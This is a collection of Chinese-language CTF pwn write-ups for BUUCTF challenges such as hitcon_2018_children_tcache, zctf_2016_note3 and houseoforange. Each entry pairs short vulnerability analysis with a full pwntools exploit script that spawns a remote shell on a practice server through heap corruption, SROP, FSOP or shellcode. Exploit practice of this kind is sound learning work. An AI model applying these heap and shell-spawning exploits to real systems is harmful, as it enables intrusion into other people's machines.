from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./PicoCTF_2018_are_you_root" #p=process(pwn) p=remote("node5.buuoj.cn",28319) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def get_flag(): p.sendlineafter("> ",b'get-flag') def show(): p.sendlineafter("> ",b'show') def login(context): p.sendlineafter("> ",b'login '+context) def delete(): p.sendlineafter("> ",b'reset') def setauth(context): p.sendlineafter("> ",b'set-auth '+context) login(b'aaaaaaaa'+p64(5)) delete() login(b'aaaaa') get_flag() #debug() p.interactive()
22、rootersctf_2019_srop
ida打开,总共就三个函数调用,srop
能够控制rax即能进行srop,把/bin/sh写到buf上,即我们先需要调用read函数读入
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./rootersctf_2019_srop" #p=process(pwn) p=remote("node5.buuoj.cn",29416) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- #debug('b *0x401000') syscall=0x401033 pop_rax=0x401032 sr=SigreturnFrame() sr.rax=constants.SYS_read sr.rdi=0 sr.rsi=0x402000 sr.rdx=0x100 sr.rip=syscall sr.rbp=0x402000+0x20 p.recv() payload=b'a'*0x88+p64(pop_rax)+p64(0xf)+flat(sr) p.sendline(payload) #pause() st=SigreturnFrame() st.rax=constants.SYS_execve st.rdi=0x402000 st.rsi=0 st.rdx=0 st.rcx=0 st.rip=syscall payload=b'/bin/sh\x00'+b'a'*0x20+p64(pop_rax)+p64(0xf)+flat(st) p.sendline(payload) p.interactive()
23、hitcon_2018_children_tcache
保护全开,ida打开,菜单堆题,增删查,增加自定义大小的chunk不能超过0x2000大小,且bss段记录chunk的地址和size
下面是delete和show,展示函数调用puts打印bss上chunk的内容,两个函数都挺正常的,但是free的函数会将我们释放的chunk的内容都填入\xda的数据
chk应该是正确读入的数据个数,这个函数应该是检查读入的最后一位是否为换行符,是就改为0x00,则应该无溢出
该函数存在offbynull漏洞,在create函数处,strcpy会造成off by null 漏洞,在末尾加上b'\x00',现在先通过off by null 进行堆块重叠,且libc为2.27版本的,则有tcachebin,则第一个和第三个申请大于0x400size的chunk,
create(0x420) #chunk 0 create(0x68) #chunk 1 create(0x4f0) #chunk 2 create(0x10) #chunk 3 delete(1) delete(0) #没有edit的函数,则只能将该chunk进行 free,为之后申请chunk造成off by null 做准备 for i in range(9): #这里因为我们freechunk之后每个字节会被填入b'\xda'的无用数据,影响了拓展释放块的prevsize位,则通过不断循环,通过off by null不断清空prevsize create(0x68-i,b'a'*(0x68-i)) delete(0) create(0x68,b'a'*0x60+p64(0x4a0)) #chunk 0 delete(2) #如下图可以看到已经合并了
之后就是再申请一个跟原先chunk0大小相同的堆块,则我们的chunk0的指针和chunk 1(size为0x71的chunk)的指针没有在拓展被释放chunk的时候清空,在申请完一个chunk后,chunk0的指针指向了unsorted ,可以show泄露libc基地址
create(0x420) #chunk 1 show(0) malloc=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10 libcbase=malloc-libc.sym['__malloc_hook'] print(hex(libcbase)) ogg=libcbase+0x4f322
create(0x68,b'a') delete(0) delete(2) 在申请了一个0x68大小的chunk之后,发现chunk0,chunk2的指针指向同一地址,则可以进行doublefree,则能够覆盖__malloc_hook
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./HITCON_2018_children_tcache" #p=process(pwn) p=remote("node5.buuoj.cn",25603) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #--------------------------------------------------------------------------------------------------- def create(size,context=b'a'): p.sendlineafter("Your choice: ",str(1)) p.sendlineafter("Size:",str(size)) p.sendlineafter("Data:",context) def delete(index): p.sendlineafter("Your choice: ",str(3)) p.sendlineafter("Index:",str(index)) def show(index): p.sendlineafter("Your choice: ",str(2)) p.sendlineafter("Index:",str(index)) create(0x420) #chunk 0 create(0x68) #chunk 1 create(0x4f0) #chunk 2 create(0x10) #chunk 3 delete(1) delete(0) for i in range(9): create(0x68-i,b'a'*(0x68-i)) delete(0) create(0x68,b'a'*0x60+p64(0x4a0)) #chunk 0 delete(2) create(0x420) #chunk 1 show(0) malloc=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10 libcbase=malloc-libc.sym['__malloc_hook'] print(hex(libcbase)) ogg=libcbase+0x4f322
create(0x68,b'a')
delete(0)
delete(2)
create(0x68,p64(malloc)) create(0x68,b'a') create(0x68,p64(ogg)) p.sendlineafter("Your choice: ",str(1)) p.sendlineafter("Size:",str(1)) #debug() p.interactive()
24、hgame2018_flag_server
下图对输入的v5进行限制,但是没有对负数进行检查,即整数溢出,则直接覆盖v10
p.sendlineafter(" length: ",str(-1)) p.sendlineafter("username?\n",b'a'*0x40+b'\x01')
25、[BSidesCF 2019]Runit
直接写入shellcode就行了
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./runit" #p=process(pwn) p=remote("node5.buuoj.cn",28993) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- payload=asm(shellcraft.sh()) p.sendafter("stuff!!\n",payload) p.interactive()
26、qctf2018_stack2
32位,ida打开,存在后门函数
修改函数没验证大小
注意v13是char类型的,偏移要gdb动调退出看看最后的返回地址
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./stack2" #p=process(pwn) p=remote("node5.buuoj.cn",28012) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-i-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so") #--------------------------------------------------------------------------------------------------- p.sendlineafter("have:",str(1)) p.sendlineafter("numbers\n",str(1)) backdoor=0x804859B for i in range(4): p.sendlineafter("5. exit",str(3)) p.sendlineafter("change:\n",str(0x84+i)) p.sendlineafter("number:\n",str(backdoor>>8*i)) #debug() p.sendlineafter("5. exit",str(5)) p.interactive()
27、pwnable_asm
沙箱题目,给了open,write,read,exit,exit_group,chroot("/home/asm_pwn"); 这行代码是用来在Unix-like操作系统中改变根目录的。翻译成中文就是:复制将当前进程的根目录更改为 /home/asm_pwn。chroot 命令用于将进程的根文件系统更改为指定的目录。这样做可以限制进程对文件系统的访问,增强系统安全。在这个例子中,进程将被限制在 /home/asm_pwn 目录及其子目录中进行操作。
这道题先是通过mmap分配了一段s指向的可读可写可执行的区域,之后在s指向的区域将一段字符串stub覆盖,再在字符串后面进行读入0x3e8个字节大小的内容,再调用了chroot函数,将我们限制在/home目录或者/asm_pwn目录下,再调用s指向的函数
这个比前面的一道题要简单的多,自己构造读取flag的链就行
from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./asm" #p=process(pwn) p=remote("node5.buuoj.cn",27461) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- mmap=0x41414000+0x100 orw=asm(shellcraft.open('/flag')+shellcraft.read(3,mmap,0x30)+shellcraft.write(1,mmap,0x30)) p.sendlineafter("shellcode: ",orw) p.interactive()
28、gyctf_2020_some_thing_interesting
保护全开,ida打开,菜单堆题,增删改查
增能一次增加两个chunk,且大小限制在0~0x70,且在bss段存放的结构是resize,optr,osize,reptr
修改函数没什么问题,修改时要两种chunk一起修改
free函数存在uaf漏洞,
这两个函数能够造成libc的基地址泄露,存在格式化字符串漏洞,有点意思
p.sendafter("code please:",b'OreOOrereOOreO%17$p') code() p.recvuntil("OreOOrereOOreO") libcbase=int(p.recv(14),16)-240-libc.sym['__libc_start_main'] print(hex(libcbase))
那因为有uaf漏洞,且libc基地址已知,又有0x60大小的chunk申请,那就用__malloc_hook,直接fastbindup
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./gyctf_2020_some_thing_interesting" #p=process(pwn) p=remote("node5.buuoj.cn",25177) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(olength,ocontext,relength,recontext): p.sendlineafter("want to do :",str(1)) p.sendlineafter("length : ",str(olength)) p.sendlineafter("> O : ",ocontext) p.sendlineafter("length : ",str(relength)) p.sendlineafter("> RE : ",recontext) def edit(index,ocontext,recontext): p.sendlineafter("want to do :",str(2)) p.sendlineafter("Oreo ID : ",str(index)) p.sendlineafter("> O : ",ocontext) p.sendlineafter("> RE : ",recontext) def delete(index): p.sendlineafter("want to do :",str(3)) p.sendlineafter("> Oreo ID : ",str(index)) def show(index): p.sendlineafter("want to do :",str(4)) p.sendlineafter("> Oreo ID : ",str(index)) def code(): p.sendlineafter("want to do :",str(0)) #debug('b $rebase*(0x15B5)') p.sendafter("code please:",b'OreOOrereOOreO%17$p') code() p.recvuntil("OreOOrereOOreO") libcbase=int(p.recv(14),16)-240-libc.sym['__libc_start_main'] print(hex(libcbase)) malloc=libcbase+libc.sym['__malloc_hook'] ogg=libcbase+0xf1147 create(0x60,b'aa',0x60,b'aaa') delete(1) edit(1,p64(malloc-0x23),p64(malloc-0x23)) create(0x60,b'aa',0x60,b'a'*0x13+p64(ogg)) p.sendlineafter("want to do :",str(1)) p.sendlineafter("length : ",str(1)) p.interactive()
29、zctf_2016_note3
菜单堆题,只有增删改三个功能,增加chunk大小限制为0~0x400的chunk,这里将原表示chunk的size大小的地址被chunk的指针覆盖
删除函数,chunksize存放的指针与释放的指针会进行一次判断,如果相同则会进行清空,不然只清空该chunk的指针
修改函数
该下图函数则i为无符号函数,存在整数溢出漏洞,就可以进行堆溢出
接下来就是fastbinattack,要注意修改函数调用的是上图的函数,则我们在修改got表的时候发送七个字节就行,第八个字节该函数会自动补0
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./zctf_2016_note3" #p=process(pwn) p=remote("node5.buuoj.cn",28846) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(size,context=b'a'): p.sendlineafter("option--->>\n",str(1)) p.sendlineafter("note content:(less than 1024)\n",str(size).encode()) p.sendlineafter("note content:\n",context) def edit(index,context): p.sendlineafter("option--->>\n",str(3)) p.sendlineafter("the note:\n",str(index)) p.sendlineafter("new content:\n",context) def delete(index): p.sendlineafter("option--->>\n",str(4)) p.sendlineafter("the note:\n",str(index)) ptr=0x6020C0 create(0) #chunk 0 create(0x60) #chunk 1 create(0x60) #chunk 2 create(0x10) #chunk 3 delete(2) delete(1) edit(0,p64(0)*3+p64(0x71)+p64(ptr-0x13)) create(0x60) #chunk 1 create(0x60,b'a'*0xb+p64(elf.got['free'])+p64(elf.got['atoi'])+p64(0x6020b8)) #chunk 2 edit(0,p64(elf.plt['puts'])[:-1]) delete(1) libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] edit(0,p64(sys_addr)[:-1]) create(0x10,b'/bin/sh\x00') delete(1) #debug() p.interactive()
30、houseoforange_hitcon_2016
保护全开,ida打开,只有增改查三个功能,下图增,先malloc0x10,再输入namechunk,大小小于0x1000的自定义chunk,再calloc一个0x8大小的chunk,申请功能只能进行4次
感觉看不出这个啥差别啊,这个see函数,还是看代码能力弱了
upgrate函数,更新函数只有3次,且在更改函数内容的时候没有进行size的限制,导致堆溢出漏洞
进行fsop的利用
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./houseoforange_hitcon_2016" #p=process(pwn) p=remote("node5.buuoj.cn",27644) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(nlength,name=b'a',price=1,color=1): p.sendlineafter("Your choice : ",str(1)) p.sendlineafter("Length of name :",str(nlength)) p.sendafter("Name :",name) p.sendlineafter("Price of Orange:",str(price)) p.sendlineafter("Color of Orange:",str(color)) def show(): p.sendlineafter("Your choice : ",str(2)) def edit(nlength,name,price=1,color=1): p.sendlineafter("Your choice : ",str(3)) p.sendlineafter("Length of name :",str(nlength)) p.sendafter("Name:",name) p.sendlineafter("Price of Orange:",str(price)) p.sendlineafter("Color of Orange:",str(color)) create(0x10) edit(-1, p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1), b'1') create(0xfb0) create(0x400, b'a'*8) show() main_arena_1640 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = main_arena_1640 - 1640 - 0x10 - libc.sym['__malloc_hook'] print(' libcbase -> ', hex(libcbase)) edit(-1, b'a'*12 + b'stop', b'1') show() p.recvuntil('stop') heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0xc0 print(' heap_addr -> ', hex(heap_addr)) # FSROP system = libcbase + libc.sym['system'] IO_list_all = libcbase + libc.sym['_IO_list_all'] payload = b'a' * 0x400 + p64(0) + p64(0x21) + b'a'*0x10 fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin fake_file += p64(0)+p64(IO_list_all-0x10) fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr fake_file = fake_file.ljust(0xc0, b'\x00') fake_file += p64(0) * 3 fake_file += p64(heap_addr + 0x5C8) #vtable ptr fake_file += p64(0) * 2 fake_file += p64(system) payload += fake_file edit(-1, payload, b'1') #debug() p.sendlineafter(b'choice : ', '1') p.interactive()
31、gyctf_2020_document
保护全开,ida打开,菜单堆题,创建两个固定大小的堆块
show函数
释放存在uaf
uaf则可以泄露libc的基地址,这道题主要就是先malloc两次,然后把chunk0free,通过uaf泄露libc基址,然后再申请两次,因为已经有unsortedbinchunkj,则分配时小的chunk从smallbin进行切割,但是chunk0可以进行修改,这道题有意思的点在于你通过修改的函数地址是原bss段的chunk的指向chunk的地址还要加16个字节,则我们申请一个chunk只能控制chunk2的小size位置的后8位字节开始修改,则需要申请两次,两次小chunk都由smallbin进行切割,之后注意edit的位置,则就可以拿到shell了
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./gyctf_2020_document" #p=process(pwn) p=remote("node5.buuoj.cn",28591) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(name,sex,context): p.sendlineafter("choice : \n",str(1)) p.sendafter("name\n",name) p.sendafter("sex\n",sex) p.sendlineafter("information\n",context) def show(index): p.sendlineafter("choice : \n",str(2)) p.sendlineafter("index : \n",str(index)) def edit(index,sex,context): p.sendlineafter("choice : \n",str(3)) p.sendlineafter("index : \n",str(index)) p.sendlineafter("sex?\n",sex) p.sendlineafter("information\n",context) def delete(index): p.sendlineafter("choice : \n",str(4)) p.sendlineafter("index : \n",str(index)) create(b'aaaaaaaa',b'W',b'c'*0x70) #chunk 0 create(b'aaaaaaaa',b'W',b'/bin/sh\x00'*14) #chunk 1 delete(0) show(0) malloc=u64(p.recv(6).ljust(8,b'\x00'))-88-0x10 libcbase=malloc-libc.sym['__malloc_hook'] freehook=libcbase+libc.sym['__free_hook']-0x10 sys_addr=libcbase+libc.sym['system'] print(hex(libcbase)) create(b'/bin/sh\x00',b'W',b'/bin/sh\x00'*14) #chunk 2 create(b'/bin/sh\x00',b'W',b'c'*0x70) #chunk 3 edit(0,b'a',b'a'*8+p64(0x21)+p64(freehook)+p64(1)+b'a'*8+p64(0x51)+p64(0)*8) edit(3,b'c',p64(sys_addr)+b'a'*0x68) delete(2) #debug() p.interactive()
ciscn_2019_final_5
菜单堆题,只有增加删除修改,增加函数,先输入chunk的索引,然后输入大小,size要小于等于0x1000的大小,采用read函数读取内容,没有对末位进行处理,则有可能进行信息泄露,然后将chunk的地址和大小存放在bss段上,删除功能,先取索引,后对存放chunk地址进行判断,后进行free功能,且发现索引的位置放在chunkptr的最低位,通过对free功能和修改功能的阅读,发现在定位chunk的地址的时候,会对bss上的chunk的地址进行取最低位进行索引的操作,而0,和16在16进制的时候都为零,则能产生chunk溢出0x10的情况
如上图看到我们已经得到了越界写的,也就是堆溢出,那就可以进行unlink,这是方便的,且我们也可以修改topchunk进行house of force的攻击,都可以,有tcache bin,但是允许我们申请的chunk限制在0x1000大小,绰绰有余了
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_final_5" #p=process(pwn) p=remote("node5.buuoj.cn","27218") elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") libc=ELF("/home/casual/Desktop/libc.so.6") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #------------------------------------------------------------------------------------------------------- def create(index,size,context=b'aaa\n'): p.sendlineafter("your choice: ",str(1)) p.sendlineafter("index: ",str(index)) p.sendlineafter("size: ",str(size)) p.sendafter("content: ",context) p.recvuntil("bits: 0x") low=int(p.recv(3),16) return low def delete(index): p.sendlineafter("your choice: ",str(2)) p.sendlineafter("index: ",str(index)) def edit(index,context=b'aaaa\n'): p.sendlineafter("your choice: ",str(3)) p.sendlineafter("index: ",str(index)) p.sendafter("content: ",context) ptr=0x6020e0 create(16,0x28) create(1,0x20) delete(1) edit(0,b'a'*0x18+p64(0x31)+p64(0x6020e0)) create(1,0x20) create(6,0x20,p64(elf.got['free'])+p64(elf.got['puts'])) edit(8,p64(elf.plt['puts'])*2) delete(0) libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] edit(8,p64(sys_addr)*2) create(5,0x10,b'/bin/sh\x00') delete(5) #debug() p.interactive()